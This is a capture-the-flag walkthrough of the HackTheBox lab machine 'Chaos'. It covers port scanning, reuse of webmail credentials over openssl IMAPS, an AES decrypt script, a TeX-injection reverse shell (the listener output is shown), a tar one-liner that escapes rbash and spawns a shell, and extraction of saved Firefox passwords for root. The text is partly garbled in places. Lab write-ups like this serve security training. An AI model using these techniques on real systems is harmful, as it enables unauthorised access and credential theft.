Chaos,a Linux box created by HackTheBox user felamos, was an overall simple medium-difficulty box.This box surrounded around credentials reuse and had a little exploitation.It taught me how to use openssl to connect to a mail server and read mails without any mail client.It also taught me little about working with Latex.Root in this box was pretty simple you just had to find and extract the password from Firefox saved password
# Nmap 7.70 scan initiated Fri Mar 112:22:352019as: nmap -sC -sV 10.10.10.120 Nmap scan report for chaos.htb (10.10.10.120) Host is up (0.15s latency). Not shown: 991 closed ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.34 ((Ubuntu)) |_http-server-header: Apache/2.4.34 (Ubuntu) |_http-title: Chaos 110/tcp open pop3 Dovecot pop3d |_pop3-capabilities: PIPELINING TOP SASL RESP-CODES AUTH-RESP-CODE UIDL STLS CAPA | ssl-cert: Subject: commonName=chaos | Subject Alternative Name: DNS:chaos | Notvalidbefore: 2018-10-28T10:01:49 |_Not validafter: 2028-10-25T10:01:49 |_ssl-date: TLS randomness does not represent time 143/tcp open imap Dovecot imapd (Ubuntu) |_imap-capabilities: LOGIN-REFERRALS LOGINDISABLEDA0001 more have STARTTLS post-login listed IDLE capabilities Pre-login ID IMAP4rev1 OK SASL-IR LITERAL+ ENABLE | ssl-cert: Subject: commonName=chaos | Subject Alternative Name: DNS:chaos | Notvalidbefore: 2018-10-28T10:01:49 |_Not validafter: 2028-10-25T10:01:49 |_ssl-date: TLS randomness does not represent time 144/tcp filtered news 993/tcp open ssl/imap Dovecot imapd (Ubuntu) |_imap-capabilities: LOGIN-REFERRALS more have post-login listed capabilities IDLE OK Pre-loginENABLE IMAP4rev1 AUTH=PLAINA0001 SASL-IR LITERAL+ ID | ssl-cert: Subject: commonName=chaos | Subject Alternative Name: DNS:chaos | Notvalidbefore: 2018-10-28T10:01:49 |_Not validafter: 2028-10-25T10:01:49 |_ssl-date: TLS randomness does not represent time 995/tcp open ssl/pop3 Dovecot pop3d | ssl-cert: Subject: commonName=chaos | Subject Alternative Name: DNS:chaos | Notvalidbefore: 2018-10-28T10:01:49 |_Not validafter: 2028-10-25T10:01:49 |_ssl-date: TLS randomness does not represent time 5100/tcp filtered admd 9618/tcp filtered condor 10000/tcp open http MiniServ 1.890 (Webmin httpd) |_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Mar 1 12:23:46 2019 -- 1 IP address (1 host up) scanned in 71.36 seconds
nmap finds 80/tcp, 110/tcp, 143/tcp, 993/tcp, 995/tcp, and my oh my 10000/tcp open. Lets start with port 80.
Opening the page we see
lets add chaos.htb to the /etc/hosts
1
10.10.10.120 chaos.htb
Adding that and visiting the website
we see nothing interesting.
We used the gobuster on http://chaos.htb, but it was not successful. We then decided to give it a go at just the IP address.
Here we got lucky. An URL 10.10.10.120/wp/ was found. When browsing through it, we found a password restricted page (not login). All we had to do was to find this password.
After much guessing, the password is human.
we get the creds for Webmail as ayush:jiujitsu
Web-mail
Let’s verify the webmail credentials with IMAPS. IMAPS seem to be more likely to be powering webmail. We can use openssl s_client, very much like nc, to connect to SSL-enabled services.
1
openssl s_client -crlf -connect 10.10.10.120:993
We are able to login to the Web mail with the credentials we found. Let’s LIST the mail boxes.
msg = "" with open('enim_msg.txt') as f: f.read(16) #filesize iv = f.read(16) cipher = AES.new(key, AES.MODE_CBC, iv) whileTrue: chunk = f.read(chunksize) if not chunk: break msg += cipher.decrypt(chunk)
print msg
Running the decrypt script give us a base64 encoded message decoding it we see the message to be:
1 2 3 4 5 6 7 8 9 10
Hii Sahay
Please check our new service which create pdf
p.s - As you told me to encrypt important msg, i did :)
http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3
Thanks, Ayush
Low-Privilege Shell
If we access we’ll get the following website. creating a test pdf
We can detect the page is using pdfTeX as compiler, an extension of TeX typography and there are many ways to abuse this language. I used the following payload which will execute nc and create a reverse shell.
nc-nlvp9000 Ncat: Version7.70 ( https://nmap.org/ncat ) Ncat: Listening on :::9000 Ncat: Listening on 0.0.0.0:9000 Ncat: Connection from 10.10.10.120. Ncat: Connection from 10.10.10.120:45438. /bin/sh: 0: can't access tty; job control turned off $ whoami www-data
Privilege Escalation
Now, let’s see if we can su ourselves to ayush with the password jiujitsu obtained earlier. Bingo we get escalated to ayush but we see we are in rbash and have access to dir,ping and tar We can use tar to escape the rbash as gtfobins
1
tar -cf /dev/null /dev/null--checkpoint=1 --checkpoint-action=exec=/bin/sh
and after exporting path to PATH=/bin:/usr/bin:$PATH
we can now read user.txt.
Moving to Root.
We also see that there is .mozilla folder in ayush home directory. downloading it locally and observing.
we see that there is cred for Webmin(port 10000). Lets try decrypting that using Firefox Decrypt and as its ayush profile we can assume the password might be jiujitsu and bingo its that.
1 2 3 4 5 6
Master Password for profile /home/ayush/.mozilla/firefox/bzo7sjt1.default: jiujitsu